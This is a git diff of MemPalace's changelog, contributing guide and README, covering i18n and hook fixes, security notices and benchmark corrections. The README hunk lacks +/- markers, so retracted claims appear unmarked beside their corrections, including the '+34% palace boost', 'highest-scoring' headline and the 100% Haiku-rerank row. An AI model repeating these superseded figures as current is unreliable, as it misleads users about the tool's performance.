- **Per-language `candidate_pattern`** — non-Latin scripts register their own character class, so names like `João`, `Инна`, `राज` are no longer silently dropped by the ASCII-only default (#911)
- **VSCode devcontainer** matching the CI environment (#881)
- `MEMPAL_VERBOSE` env toggle — developers see diaries surfaced in chat while the default remains silent (#871)
- `created_at` timestamps included in search results (#846)
### Bug Fixes
**i18n / Unicode**
- Script-aware word boundaries for combining-mark scripts — Python's `\b` fails on Devanagari vowel signs (`ा ी ु`), Arabic, Hebrew, Thai, Tamil, Khmer etc., truncating names like `अनीता` → `अनीत` and making person-verb patterns never fire. Locales now declare an optional `boundary_chars` field and the i18n loader expands `\b` into a script-aware lookaround boundary (#932)
- Case-insensitive BCP 47 language code resolution — `--lang PT-BR`, `zh-cn`, `Pt-Br` previously fell through to English silently; now resolve to the canonical locale file via lowercase matching, with the entity-pattern cache keyed on the canonical form so casing variations share one cache entry (#928)
- Wire i18n candidate patterns into `miner._extract_entities_for_metadata()`, `palace.build_closet_lines()`, and `entity_registry.extract_unknown_candidates()` — three code paths that still hardcoded ASCII-only `[A-Z][a-z]{2,}` and silently missed Cyrillic, accented Latin, and non-Latin entity metadata tags (#931)
- Explicit `encoding="utf-8"` on `Path.read_text()` calls across entity_registry, instructions_cli, split_mega_files, and onboarding tests — prevents Windows GBK (and other non-UTF-8) locales from corrupting UTF-8 files (#946, #776)
- `ko.json` `status_drawers` used `{drawers}` instead of `{count}`, showing the raw template string instead of the number (#758)
- Move `test_i18n.py` from inside the installed package into `tests/` so pytest actually collects it; remove the `sys.path.insert` hack (#758)
- `Dialect.from_config()` defaulted to `current_lang()` (module-global) when config had no `lang` key — replaced with explicit `"en"` fallback for determinism (#758)
**Other**
- Guard `KnowledgeGraph.close()` and `query_relationship`/`timeline`/`stats` methods with the instance lock to prevent concurrent-access corruption (#887, #884)
- Replace invalid `{"decision": "allow"}` with `{}` in hook responses — the string wasn't a valid decision value and triggered schema warnings (#885)
- `entity_registry.research()` defaults to local-only — previously made outbound Wikipedia HTTPS requests without explicit user opt-in; callers now must pass `allow_network=True` (#811)
- Precompact hook no longer blocks compaction when it fails or takes too long (#856, #858, #863)
- Redirect stdout to stderr during MCP server import so library logging can't corrupt the JSON-RPC channel (#225, #864)
- `mempalace init` auto-adds per-project files to `.gitignore` in git repositories so users don't accidentally commit `mempalace.yaml` / `entities.json` (#185, #866)
- Searcher guards against empty ChromaDB query results that previously raised on edge-case corpora (#195, #865)
- Return empty status instead of an error on a cold-start palace with no drawers yet (#830, #831)
- Restrict file permissions on sensitive palace data (#814)
- Slack transcript importer writes a provenance header and preserves speaker IDs (#815)
- Allow `mempalace mine` to run in directories without a local `mempalace.yaml` and surface the missing-yaml warning on stderr (#604)
- Security hook injection fix (#812)
- Save hook auto-mines transcripts even when `MEMPAL_DIR` is unset (#840)
- Pin the Pages custom domain via a shipped `CNAME` in the deploy artifact (#877)
- Version drift safeguard — sync pyproject + `version.py` + README badge in one place (#876)
- Deploy docs workflow now runs on `develop` only, preventing accidental main-branch deploys (#845)
### Improvements
- Regex compilation optimization for entity extraction — pre-compile per-entity pattern sets once and cache by `(name, languages)` tuple, so multi-language callers don't thrash the cache (#880)
- Knowledge-graph value sanitization now preserves natural punctuation (commas, colons, parentheses) that commonly appears in KG subject/object values (#873)
### Documentation
- Clarify that `mempalace init` requires a `<dir>` argument in CLI help text (#210, #862)
- Domain name and specific impostor sites called out in the scam-alert section (#869)
- Tightened `SECURITY.md` with a real version-support policy and the GHPVR-only reporting channel (#810)
- Fixed stale `pyproject.toml` URLs (#853)
- v4 planning prep (#852)
### Internal
- `palace_graph` tunnel helper test coverage (#908)
---
## [3.3.0] — 2026-04-13
### New Features
- Closet layer — a compact searchable index of pointers to verbatim drawers, enabling fast topical lookup without reading all content (#788)
- BM25 hybrid search — closets boost ranking, drawers remain the source of truth (#795, #829)
- Entity metadata on every drawer for filterable search (#829)
- Diary ingest — day-based rooms for conversation transcripts (#829)
- Cross-wing tunnels — explicit links between rooms in different wings for multi-project agents (#829)
- Drawer-grep — returns the best-matching chunk plus adjacent context drawers (#829)
- Offline fact checker against the entity registry and knowledge graph (#829)
- LLM-based closet regeneration — optional, bring-your-own endpoint, no mandatory API key (#793)
- Hall detection — routes drawer content to `emotions` / `technical` / `family` / `memory` / `identity` / `consciousness` / `creative` halls, enabling hall-based graph connectivity within wings (#835)
### Bug Fixes
- Set `hnsw:space=cosine` metadata on all collection creation sites — fixes broken similarity scoring under ChromaDB's default L2 distance (#807, #218)
- File-level locking prevents duplicate drawers when agents mine the same file concurrently (#784, #826)
- Hybrid closet+drawer retrieval — closets boost ranking, never gate results (#795)
- Stop hooks from making agents write in chat — saves tokens on every turn (#786)
- Strip system tags, hook output, and Claude UI chrome from drawers before filing (#785)
- Verbatim-safe `strip_noise` scoped to Claude Code JSONL only (#785)
- Prevent diary entry ID collisions via microsecond timestamp and full content hash (#819)
- Auto-rebuild stale drawers via `NORMALIZE_VERSION` schema gate
- Enforce atomic topics in closets and extract richer pointers
- Sync `version.py` to match `pyproject.toml` (#820)
- Remove unused `main` import from `mempalace/__init__.py` (#827)
- README audit — fix 7 stale claims (tool count, version badge, wake-up token cost, `dialect.py` lossless disclaimer, `pyproject.toml` version) with 42 regression-guard tests (#835)
### Improvements
- Optimize entity detection with regex caching and pre-compilation (#828)
- Extract locked filing block into helper to keep `mine_convos` under C901 complexity
### Documentation
- Add `docs/CLOSETS.md` — closet layer overview
- Fix stale `milla-jovovich/*` org URLs in website and plugin manifests (#787)
- Fix remaining stale org URLs in contributor docs (#808)
- Rewrite `README.md` and `mempalaceofficial.com` benchmark pages to remove category-error cross-system comparisons (R@5 retrieval recall had been listed next to competitor QA accuracy under one column), remove the retracted "+34% palace boost" claim from the surfaces where it had remained, replace the `100%` Haiku-rerank headline with the honest held-out `98.4%` R@5, drop the LoCoMo `100%` top-50 row (retrieval-bypass artefact), and fix the broken `aya-thekeeper/mempal` reproduction URL (#875)
- Add `docs/HISTORY.md` as the canonical home for corrections, retractions, and public notices; move the 2026-04-07 "Note from Milla & Ben" and the 2026-04-11 impostor-domain notice out of `README.md`
- Add v3.3.0 reproduction result JSONLs and the deterministic `seed=42` 50/450 LongMemEval split under `benchmarks/` — every BENCHMARKS.md claim reproduces exactly
### Internal
- Add test coverage for `mine_lock`, closets, entity metadata, BM25, and diary
- Verify `mine_lock` via disjoint critical-section intervals
- Serialize `mine_lock` concurrency test with multiprocessing
- Make diary state path assertion platform-neutral
- Add `TestTunnels` coverage for cross-wing tunnel operations
- Ruff format with CI-pinned version (0.4.x); format `mempalace/palace.py`
---
## [3.2.0] — 2026-04-12
### Packaging
- Remove `chromadb<0.7` upper bound — unblocks installs against chromadb 1.x palaces (#690)
@@ -48,9 +198,6 @@ All notable changes to [MemPalace](https://github.com/milla-jovovich/mempalace)
- Add `--yes` flag to init instructions for non-interactive use (#682, #534)
- Add `mcp` command with setup guidance (#315)
### Documentation
- Fix misaligned architecture diagram (#734, #733)
### New Features
- i18n support — 8 languages (en, es, fr, de, ja, ko, zh-CN, zh-TW) (#718)
- New MCP tools: get/list/update drawer, hook settings, export (#667, #635)
@@ -67,6 +214,7 @@ All notable changes to [MemPalace](https://github.com/milla-jovovich/mempalace)
- Add VitePress documentation site (#439)
- Add warning about fake MemPalace websites (#598)
- Fix stale org URLs and PR branch target in contributor docs (#679)
- Fix misaligned architecture diagram (#734, #733)
- Add ROADMAP.md — v3.1.1 stability patch and v4.0.0-alpha plan
### Internal
@@ -156,3 +304,10 @@ Initial public release.
- CLI: `init`, `mine`, `search`, `status`, `compress`, `repair`, `split`
- Benchmark suite with recall and scale tests
- README with MCP flow, local model flow, and specialist agent documentation
---
[Unreleased]: https://github.com/MemPalace/mempalace/compare/v3.2.0...HEAD
[3.2.0]: https://github.com/MemPalace/mempalace/compare/v3.1.0...v3.2.0
[3.1.0]: https://github.com/MemPalace/mempalace/compare/v3.0.0...v3.1.0
[3.0.0]: https://github.com/MemPalace/mempalace/releases/tag/v3.0.0
+1 -1
View File
@@ -82,7 +82,7 @@ If you're planning a significant change, open an issue first to discuss the appr
- **Verbatim first**: Never summarize user content. Store exact words.
- **Local first**: Everything runs on the user's machine. No cloud dependencies.
- **Zero API by default**: Core features must work without any API key.
- **Palace structure matters**: Wings, halls, and rooms aren't cosmetic — they drive a 34% retrieval improvement. Respect the hierarchy.
- **Palace structure is scoping, not magic**: Wings, halls, and rooms act as metadata filters in the underlying vector store. They keep retrieval predictable when a palace holds many unrelated projects or people. Respect the hierarchy — but don't present it as a novel retrieval mechanism.
## Community
+111 -656
View File
@@ -1,732 +1,187 @@
> [!CAUTION]
> **Scam alert.** The only official sources for MemPalace are this
> [GitHub repository](https://github.com/MemPalace/mempalace), the
> [PyPI package](https://pypi.org/project/mempalace/), and the docs site at
> **[mempalaceofficial.com](https://mempalaceofficial.com)**. Any other
> domain — including `mempalace.tech` — is an impostor and may distribute
> malware. Details and timeline: [docs/HISTORY.md](docs/HISTORY.md).
<div align="center">
<img src="assets/mempalace_logo.png" alt="MemPalace" width="280">
<img src="assets/mempalace_logo.png" alt="MemPalace" width="240">
# MemPalace
### The highest-scoring AI memory system ever benchmarked. And it's free.
<br>
Every conversation you have with an AI — every decision, every debugging session, every architecture debate — disappears when the session ends. Six months of work, gone. You start over every time.
Other memory systems try to fix this by letting AI decide what's worth remembering. It extracts "user prefers Postgres" and throws away the conversation where you explained *why*. MemPalace takes a different approach: **store everything, then make it findable.**
**The Palace** — Ancient Greek orators memorized entire speeches by placing ideas in rooms of an imaginary building. Walk through the building, find the idea. MemPalace applies the same principle to AI memory: your conversations are organized into wings (people and projects), halls (types of memory), and rooms (specific ideas). No AI decides what matters — you keep every word, and the structure gives you a navigable map instead of a flat search index.
**Raw verbatim storage** — MemPalace stores your actual exchanges in ChromaDB without summarization or extraction. The 96.6% LongMemEval result comes from this raw mode. We don't burn an LLM to decide what's "worth remembering" — we keep everything and let semantic search find it.
**AAAK (experimental)** — A lossy abbreviation dialect for packing repeated entities into fewer tokens at scale. Readable by any LLM that reads text — Claude, GPT, Gemini, Llama, Mistral — no decoder needed. **AAAK is a separate compression layer, not the storage default**, and on the LongMemEval benchmark it currently regresses vs raw mode (84.2% vs 96.6%). We're iterating. See the [note above](#a-note-from-milla--ben--april-7-2026) for the honest status.
**Local, open, adaptable** — MemPalace runs entirely on your machine, on any data you have locally, without using any external API or services. It has been tested on conversations — but it can be adapted for different types of datastores. This is why we're open-sourcing it.
<br>
Local-first AI memory. Verbatim storage, pluggable backend, 96.6% R@5 raw on LongMemEval — zero API calls.
[![][version-shield]][release-link]
[![][python-shield]][python-link]
[![][license-shield]][license-link]
[![][discord-shield]][discord-link]
<br>
[Quick Start](#quick-start) · [The Palace](#the-palace) · [AAAK Dialect](#aaak-dialect-experimental) · [Benchmarks](#benchmarks) · [MCP Tools](#mcp-server)
<br>
### Highest LongMemEval score ever published — free or paid.
<table>
<tr>
<td align="center"><strong>96.6%</strong><br><sub>LongMemEval R@5<br><b>raw mode</b>, zero API calls</sub></td>
<td align="center"><strong>500/500</strong><br><sub>questions tested<br>independently reproduced</sub></td>
<td align="center"><strong>$0</strong><br><sub>No subscription<br>No cloud. Local only.</sub></td>
</tr>
</table>
<sub>Reproducible — runners in <a href="benchmarks/">benchmarks/</a>. <a href="benchmarks/BENCHMARKS.md">Full results</a>. The 96.6% is from <b>raw verbatim mode</b>, not AAAK or rooms mode (those score lower — see <a href="#a-note-from-milla--ben--april-7-2026">note above</a>).</sub>
</div>
---
## A Note from Milla & Ben — April 7, 2026
## What it is
> The community caught real problems in this README within hours of launch and we want to address them directly.
>
> **What we got wrong:**
>
> - **The AAAK token example was incorrect.** We used a rough heuristic (`len(text)//3`) for token counts instead of an actual tokenizer. Real counts via OpenAI's tokenizer: the English example is 66 tokens, the AAAK example is 73. AAAK does not save tokens at small scales — it's designed for *repeated entities at scale*, and the README example was a bad demonstration of that. We're rewriting it.
>
> - **"30x lossless compression" was overstated.** AAAK is a lossy abbreviation system (entity codes, sentence truncation). Independent benchmarks show AAAK mode scores **84.2% R@5 vs raw mode's 96.6%** on LongMemEval — a 12.4 point regression. The honest framing is: AAAK is an experimental compression layer that trades fidelity for token density, and **the 96.6% headline number is from RAW mode, not AAAK**.
>
> - **"+34% palace boost" was misleading.** That number compares unfiltered search to wing+room metadata filtering. Metadata filtering is a standard ChromaDB feature, not a novel retrieval mechanism. Real and useful, but not a moat.
>
> - **"Contradiction detection"** exists as a separate utility (`fact_checker.py`) but is not currently wired into the knowledge graph operations as the README implied.
>
> - **"100% with Haiku rerank"** is real (we have the result files) but the rerank pipeline is not in the public benchmark scripts. We're adding it.
>
> **What's still true and reproducible:**
>
> - **96.6% R@5 on LongMemEval in raw mode**, on 500 questions, zero API calls — independently reproduced on M2 Ultra in under 5 minutes by [@gizmax](https://github.com/milla-jovovich/mempalace/issues/39).
> - Local, free, no subscription, no cloud, no data leaving your machine.
> - The architecture (wings, rooms, closets, drawers) is real and useful, even if it's not a magical retrieval boost.
>
> **What we're doing:**
>
> 1. Rewriting the AAAK example with real tokenizer counts and a scenario where AAAK actually demonstrates compression
> 2. Adding `mode raw / aaak / rooms` clearly to the benchmark documentation so the trade-offs are visible
> 3. Wiring `fact_checker.py` into the KG ops so the contradiction detection claim becomes true
> 4. Pinning ChromaDB to a tested range (Issue #100), fixing the shell injection in hooks (#110), and addressing the macOS ARM64 segfault (#74)
>
> **Thank you to everyone who poked holes in this.** Brutal honest criticism is exactly what makes open source work, and it's what we asked for. Special thanks to [@panuhorsmalahti](https://github.com/milla-jovovich/mempalace/issues/43), [@lhl](https://github.com/milla-jovovich/mempalace/issues/27), [@gizmax](https://github.com/milla-jovovich/mempalace/issues/39), and everyone who filed an issue or a PR in the first 48 hours. We're listening, we're fixing, and we'd rather be right than impressive.
>
> — *Milla Jovovich & Ben Sigman*
MemPalace stores your conversation history as verbatim text and retrieves
it with semantic search. It does not summarize, extract, or paraphrase.
The index is structured — people and projects become *wings*, topics
become *rooms*, and original content lives in *drawers* — so searches
can be scoped rather than run against a flat corpus.
The retrieval layer is pluggable. The current default is ChromaDB; the
interface is defined in [`mempalace/backends/base.py`](mempalace/backends/base.py)
and alternative backends can be dropped in without touching the rest of
the system.
Nothing leaves your machine unless you opt in.
Architecture, concepts, and mining flows:
[mempalaceofficial.com/concepts/the-palace](https://mempalaceofficial.com/concepts/the-palace.html).
---
## An important follow up note regarding fake MemPalace websites - April 11, 2026
Several Community Members (#267, #326, #506) have pointed out there are fake MemPalace websites popping up, including ones with Malware.
To be super clear, MemPalace *has no website* (at least for now), so anything claiming to be one is false.
Thanks to our Community Members for letting us know about the problem.
Stay safe out there.
---
## Quick Start
## Install
```bash
pip install mempalace
# Set up your world — who you work with, what your projects are
mempalace init ~/projects/myapp
```
# Mine your data
mempalace mine ~/projects/myapp # projects — code, docs, notes
mempalace mine ~/chats/ --mode convos # convos — Claude, ChatGPT, Slack exports
mempalace mine ~/chats/ --mode convos --extract general # general — classifies into decisions, milestones, problems
## Quickstart
# Search anything you've ever discussed
```bash
# Mine content into the palace
mempalace mine ~/projects/myapp # project files
mempalace mine ~/.claude/projects/ --mode convos # Claude Code sessions (scope with --wing per project)
# Search
mempalace search "why did we switch to GraphQL"
# Your AI remembers
mempalace status
# Load context for a new session
mempalace wake-up
```
Three mining modes: **projects** (code and docs), **convos** (conversation exports), and **general** (auto-classifies into decisions, preferences, milestones, problems, and emotional context). Everything stays on your machine.
---
## How You Actually Use It
After the one-time setup (install → init → mine), you don't run MemPalace commands manually. Your AI uses it for you. There are two ways, depending on which AI you use.
### With Claude Code (recommended)
Native marketplace install:
```bash
claude plugin marketplace add milla-jovovich/mempalace
claude plugin install --scope user mempalace
```
Restart Claude Code, then type `/skills` to verify "mempalace" appears.
### With Claude, ChatGPT, Cursor, Gemini (MCP-compatible tools)
```bash
# Connect MemPalace once
claude mcp add mempalace -- python -m mempalace.mcp_server
```
Now your AI has 19 tools available through MCP. Ask it anything:
> *"What did we decide about auth last month?"*
Claude calls `mempalace_search` automatically, gets verbatim results, and answers you. You never type `mempalace search` again. The AI handles it.
MemPalace also works natively with **Gemini CLI** (which handles the server and save hooks automatically) — see the [Gemini CLI Integration Guide](examples/gemini_cli_setup.md).
### With local models (Llama, Mistral, or any offline LLM)
Local models generally don't speak MCP yet. Two approaches:
**1. Wake-up command** — load your world into the model's context:
```bash
mempalace wake-up > context.txt
# Paste context.txt into your local model's system prompt
```
This gives your local model ~170 tokens of critical facts (in AAAK if you prefer) before you ask a single question.
**2. CLI search** — query on demand, feed results into your prompt:
```bash
mempalace search "auth decisions" > results.txt
# Include results.txt in your prompt
```
Or use the Python API:
```python
from mempalace.searcher import search_memories
results = search_memories("auth decisions", palace_path="~/.mempalace/palace")
# Inject into your local model's context
```
Either way — your entire memory stack runs offline. ChromaDB on your machine, Llama on your machine, AAAK for compression, zero cloud calls.
---
## The Problem
Decisions happen in conversations now. Not in docs. Not in Jira. In conversations with Claude, ChatGPT, Copilot. The reasoning, the tradeoffs, the "we tried X and it failed because Y" — all trapped in chat windows that evaporate when the session ends.
**Six months of daily AI use = 19.5 million tokens.** That's every decision, every debugging session, every architecture debate. Gone.
| Approach | Tokens loaded | Annual cost |
|----------|--------------|-------------|
| Paste everything | 19.5M — doesn't fit any context window | Impossible |
| LLM summaries | ~650K | ~$507/yr |
| **MemPalace wake-up** | **~170 tokens** | **~$0.70/yr** |
| **MemPalace + 5 searches** | **~13,500 tokens** | **~$10/yr** |
MemPalace loads 170 tokens of critical facts on wake-up — your team, your projects, your preferences. Then searches only when needed. $10/year to remember everything vs $507/year for summaries that lose context.
---
## How It Works
### The Palace
The layout is fairly simple, though it took a long time to get there.
It starts with a **wing**. Every project, person, or topic you're filing gets its own wing in the palace.
Each wing has **rooms** connected to it, where information is divided into subjects that relate to that wing — so every room is a different element of what your project contains. Project ideas could be one room, employees could be another, financial statements another. There can be an endless number of rooms that split the wing into sections. The MemPalace install detects these for you automatically, and of course you can personalize it any way you feel is right.
Every room has a **closet** connected to it, and here's where things get interesting. We've developed an AI language called **AAAK**. Don't ask — it's a whole story of its own. Your agent learns the AAAK shorthand every time it wakes up. Because AAAK is essentially English, but a very truncated version, your agent understands how to use it in seconds. It comes as part of the install, built into the MemPalace code. In our next update, we'll add AAAK directly to the closets, which will be a real game changer — the amount of info in the closets will be much bigger, but it will take up far less space and far less reading time for your agent.
Inside those closets are **drawers**, and those drawers are where your original files live. In this first version, we haven't used AAAK as a closet tool, but even so, the summaries have shown **96.6% recall** in all the benchmarks we've done across multiple benchmarking platforms. Once the closets use AAAK, searches will be even faster while keeping every word exact. But even now, the closet approach has been a huge boon to how much info is stored in a small space — it's used to easily point your AI agent to the drawer where your original file lives. You never lose anything, and all this happens in seconds.
There are also **halls**, which connect rooms within a wing, and **tunnels**, which connect rooms from different wings to one another. So finding things becomes truly effortless — we've given the AI a clean and organized way to know where to start searching, without having to look through every keyword in huge folders.
You say what you're looking for and boom, it already knows which wing to go to. Just *that* in itself would have made a big difference. But this is beautiful, elegant, organic, and most importantly, efficient.
```
+------------------------------------------------------------+
¦ WING: Person ¦
¦ ¦
¦ +----------+ +----------+ ¦
¦ ¦ Room A ¦ --hall-- ¦ Room B ¦ ¦
¦ +----------+ +----------+ ¦
¦ ¦ ¦
¦ v ¦
¦ +----------+ +----------+ ¦
¦ ¦ Closet ¦ ---> ¦ Drawer ¦ ¦
¦ +----------+ +----------+ ¦
+---------+--------------------------------------------------+
¦
tunnel
¦
+---------+--------------------------------------------------+
¦ WING: Project ¦
¦ ¦ ¦
¦ +----------+ +----------+ ¦
¦ ¦ Room A ¦ --hall-- ¦ Room C ¦ ¦
¦ +----------+ +----------+ ¦
¦ ¦ ¦
¦ v ¦
¦ +----------+ +----------+ ¦
¦ ¦ Closet ¦ ---> ¦ Drawer ¦ ¦
¦ +----------+ +----------+ ¦
+------------------------------------------------------------+
```
**Wings** — a person or project. As many as you need.
**Rooms** — specific topics within a wing. Auth, billing, deploy — endless rooms.
**Halls** — connections between related rooms *within* the same wing. If Room A (auth) and Room B (security) are related, a hall links them.
**Tunnels** — connections *between* wings. When Person A and a Project both have a room about "auth," a tunnel cross-references them automatically.
**Closets** — summaries that point to the original content. (In v3.0.0 these are plain-text summaries; AAAK-encoded closets are coming in a future update — see [Task #30](https://github.com/milla-jovovich/mempalace/issues/30).)
**Drawers** — the original verbatim files. The exact words, never summarized.
**Halls** are memory types — the same in every wing, acting as corridors:
- `hall_facts` — decisions made, choices locked in
- `hall_events` — sessions, milestones, debugging
- `hall_discoveries` — breakthroughs, new insights
- `hall_preferences` — habits, likes, opinions
- `hall_advice` — recommendations and solutions
**Rooms** are named ideas — `auth-migration`, `graphql-switch`, `ci-pipeline`. When the same room appears in different wings, it creates a **tunnel** — connecting the same topic across domains:
```
wing_kai / hall_events / auth-migration → "Kai debugged the OAuth token refresh"
wing_driftwood / hall_facts / auth-migration → "team decided to migrate auth to Clerk"
wing_priya / hall_advice / auth-migration → "Priya approved Clerk over Auth0"
```
Same room. Three wings. The tunnel connects them.
### Why Structure Matters
Tested on 22,000+ real conversation memories:
```
Search all closets: 60.9% R@10
Search within wing: 73.1% (+12%)
Search wing + hall: 84.8% (+24%)
Search wing + room: 94.8% (+34%)
```
Wings and rooms aren't cosmetic. They're a **34% retrieval improvement**. The palace structure is the product.
### The Memory Stack
| Layer | What | Size | When |
|-------|------|------|------|
| **L0** | Identity — who is this AI? | ~50 tokens | Always loaded |
| **L1** | Critical facts — team, projects, preferences | ~120 tokens (AAAK) | Always loaded |
| **L2** | Room recall — recent sessions, current project | On demand | When topic comes up |
| **L3** | Deep search — semantic query across all closets | On demand | When explicitly asked |
Your AI wakes up with L0 + L1 (~170 tokens) and knows your world. Searches only fire when needed.
### AAAK Dialect (experimental)
AAAK is a lossy abbreviation system — entity codes, structural markers, and sentence truncation — designed to pack repeated entities and relationships into fewer tokens at scale. It is **readable by any LLM that reads text** (Claude, GPT, Gemini, Llama, Mistral) without a decoder, so a local model can use it without any cloud dependency.
**Honest status (April 2026):**
- **AAAK is lossy, not lossless.** It uses regex-based abbreviation, not reversible compression.
- **It does not save tokens at small scales.** Short text already tokenizes efficiently. AAAK overhead (codes, separators) costs more than it saves on a few sentences.
- **It can save tokens at scale** — in scenarios with many repeated entities (a team mentioned hundreds of times, the same project across thousands of sessions), the entity codes amortize.
- **AAAK currently regresses LongMemEval** vs raw verbatim retrieval (84.2% R@5 vs 96.6%). The 96.6% headline number is from **raw mode**, not AAAK mode.
- **The MemPalace storage default is raw verbatim text in ChromaDB** — that's where the benchmark wins come from. AAAK is a separate compression layer for context loading, not the storage format.
We're iterating on the dialect spec, adding a real tokenizer for stats, and exploring better break points for when to use it. Track progress in [Issue #43](https://github.com/milla-jovovich/mempalace/issues/43) and [#27](https://github.com/milla-jovovich/mempalace/issues/27).
### Contradiction Detection (experimental, not yet wired into KG)
A separate utility (`fact_checker.py`) can check assertions against entity facts. It's not currently called automatically by the knowledge graph operations — this is being fixed (track in [Issue #27](https://github.com/milla-jovovich/mempalace/issues/27)). When enabled it catches things like:
```
Input: "Soren finished the auth migration"
Output: 🔴 AUTH-MIGRATION: attribution conflict — Maya was assigned, not Soren
Input: "Kai has been here 2 years"
Output: 🟡 KAI: wrong_tenure — records show 3 years (started 2023-04)
Input: "The sprint ends Friday"
Output: 🟡 SPRINT: stale_date — current sprint ends Thursday (updated 2 days ago)
```
Facts checked against the knowledge graph. Ages, dates, and tenures calculated dynamically — not hardcoded.
---
## Real-World Examples
### Solo developer across multiple projects
```bash
# Mine each project's conversations
mempalace mine ~/chats/orion/ --mode convos --wing orion
mempalace mine ~/chats/nova/ --mode convos --wing nova
mempalace mine ~/chats/helios/ --mode convos --wing helios
# Six months later: "why did I use Postgres here?"
mempalace search "database decision" --wing orion
# → "Chose Postgres over SQLite because Orion needs concurrent writes
# and the dataset will exceed 10GB. Decided 2025-11-03."
# Cross-project search
mempalace search "rate limiting approach"
# → finds your approach in Orion AND Nova, shows the differences
```
### Team lead managing a product
```bash
# Mine Slack exports and AI conversations
mempalace mine ~/exports/slack/ --mode convos --wing driftwood
mempalace mine ~/.claude/projects/ --mode convos
# "What did Soren work on last sprint?"
mempalace search "Soren sprint" --wing driftwood
# → 14 closets: OAuth refactor, dark mode, component library migration
# "Who decided to use Clerk?"
mempalace search "Clerk decision" --wing driftwood
# → "Kai recommended Clerk over Auth0 — pricing + developer experience.
# Team agreed 2026-01-15. Maya handling the migration."
```
### Before mining: split mega-files
Some transcript exports concatenate multiple sessions into one huge file:
```bash
mempalace split ~/chats/ # split into per-session files
mempalace split ~/chats/ --dry-run # preview first
mempalace split ~/chats/ --min-sessions 3 # only split files with 3+ sessions
```
---
## Knowledge Graph
Temporal entity-relationship triples — like Zep's Graphiti, but SQLite instead of Neo4j. Local and free.
```python
from mempalace.knowledge_graph import KnowledgeGraph
kg = KnowledgeGraph()
kg.add_triple("Kai", "works_on", "Orion", valid_from="2025-06-01")
kg.add_triple("Maya", "assigned_to", "auth-migration", valid_from="2026-01-15")
kg.add_triple("Maya", "completed", "auth-migration", valid_from="2026-02-01")
# What's Kai working on?
kg.query_entity("Kai")
# → [Kai → works_on → Orion (current), Kai → recommended → Clerk (2026-01)]
# What was true in January?
kg.query_entity("Maya", as_of="2026-01-20")
# → [Maya → assigned_to → auth-migration (active)]
# Timeline
kg.timeline("Orion")
# → chronological story of the project
```
Facts have validity windows. When something stops being true, invalidate it:
```python
kg.invalidate("Kai", "works_on", "Orion", ended="2026-03-01")
```
Now queries for Kai's current work won't return Orion. Historical queries still will.
| Feature | MemPalace | Zep (Graphiti) |
|---------|-----------|----------------|
| Storage | SQLite (local) | Neo4j (cloud) |
| Cost | Free | $25/mo+ |
| Temporal validity | Yes | Yes |
| Self-hosted | Always | Enterprise only |
| Privacy | Everything local | SOC 2, HIPAA |
---
## Specialist Agents
Create agents that focus on specific areas. Each agent gets its own wing and diary in the palace — not in your CLAUDE.md. Add 50 agents, your config stays the same size.
```
~/.mempalace/agents/
├── reviewer.json # code quality, patterns, bugs
├── architect.json # design decisions, tradeoffs
└── ops.json # deploys, incidents, infra
```
Your CLAUDE.md just needs one line:
```
You have MemPalace agents. Run mempalace_list_agents to see them.
```
The AI discovers its agents from the palace at runtime. Each agent:
- **Has a focus** — what it pays attention to
- **Keeps a diary** — written in AAAK, persists across sessions
- **Builds expertise** — reads its own history to stay sharp in its domain
```
# Agent writes to its diary after a code review
mempalace_diary_write("reviewer",
"PR#42|auth.bypass.found|missing.middleware.check|pattern:3rd.time.this.quarter|★★★★")
# Agent reads back its history
mempalace_diary_read("reviewer", last_n=10)
# → last 10 findings, compressed in AAAK
```
Each agent is a specialist lens on your data. The reviewer remembers every bug pattern it's seen. The architect remembers every design decision. The ops agent remembers every incident. They don't share a scratchpad — they each maintain their own memory.
Letta charges $20–200/mo for agent-managed memory. MemPalace does it with a wing.
---
## MCP Server
```bash
# Via plugin (recommended)
claude plugin marketplace add milla-jovovich/mempalace
claude plugin install --scope user mempalace
# Or manually
claude mcp add mempalace -- python -m mempalace.mcp_server
```
### 19 Tools
**Palace (read)**
| Tool | What |
|------|------|
| `mempalace_status` | Palace overview + AAAK spec + memory protocol |
| `mempalace_list_wings` | Wings with counts |
| `mempalace_list_rooms` | Rooms within a wing |
| `mempalace_get_taxonomy` | Full wing → room → count tree |
| `mempalace_search` | Semantic search with wing/room filters |
| `mempalace_check_duplicate` | Check before filing |
| `mempalace_get_aaak_spec` | AAAK dialect reference |
**Palace (write)**
| Tool | What |
|------|------|
| `mempalace_add_drawer` | File verbatim content |
| `mempalace_delete_drawer` | Remove by ID |
**Knowledge Graph**
| Tool | What |
|------|------|
| `mempalace_kg_query` | Entity relationships with time filtering |
| `mempalace_kg_add` | Add facts |
| `mempalace_kg_invalidate` | Mark facts as ended |
| `mempalace_kg_timeline` | Chronological entity story |
| `mempalace_kg_stats` | Graph overview |
**Navigation**
| Tool | What |
|------|------|
| `mempalace_traverse` | Walk the graph from a room across wings |
| `mempalace_find_tunnels` | Find rooms bridging two wings |
| `mempalace_graph_stats` | Graph connectivity overview |
**Agent Diary**
| Tool | What |
|------|------|
| `mempalace_diary_write` | Write AAAK diary entry |
| `mempalace_diary_read` | Read recent diary entries |
The AI learns AAAK and the memory protocol automatically from the `mempalace_status` response. No manual configuration.
---
## Auto-Save Hooks
Two hooks for Claude Code that automatically save memories during work:
**Save Hook** — every 15 messages, triggers a structured save. Topics, decisions, quotes, code changes. Also regenerates the critical facts layer.
**PreCompact Hook** — fires before context compression. Emergency save before the window shrinks.
```json
{
"hooks": {
"Stop": [{"matcher": "", "hooks": [{"type": "command", "command": "/path/to/mempalace/hooks/mempal_save_hook.sh"}]}],
"PreCompact": [{"matcher": "", "hooks": [{"type": "command", "command": "/path/to/mempalace/hooks/mempal_precompact_hook.sh"}]}]
}
}
```
**Optional auto-ingest:** Set the `MEMPAL_DIR` environment variable to a directory path and the hooks will automatically run `mempalace mine` on that directory during each save trigger (background on stop, synchronous on precompact).
For Claude Code, Gemini CLI, MCP-compatible tools, and local models, see
[mempalaceofficial.com/guide/getting-started](https://mempalaceofficial.com/guide/getting-started.html).
---
## Benchmarks
Tested on standard academic benchmarks — reproducible, published datasets.
All numbers below are reproducible from this repository with the commands
in [`benchmarks/BENCHMARKS.md`](benchmarks/BENCHMARKS.md). Full
per-question result files are committed under `benchmarks/results_*`.
| Benchmark | Mode | Score | API Calls |
|-----------|------|-------|-----------|
| **LongMemEval R@5** | Raw (ChromaDB only) | **96.6%** | Zero |
| **LongMemEval R@5** | Hybrid + Haiku rerank | **100%** (500/500) | ~500 |
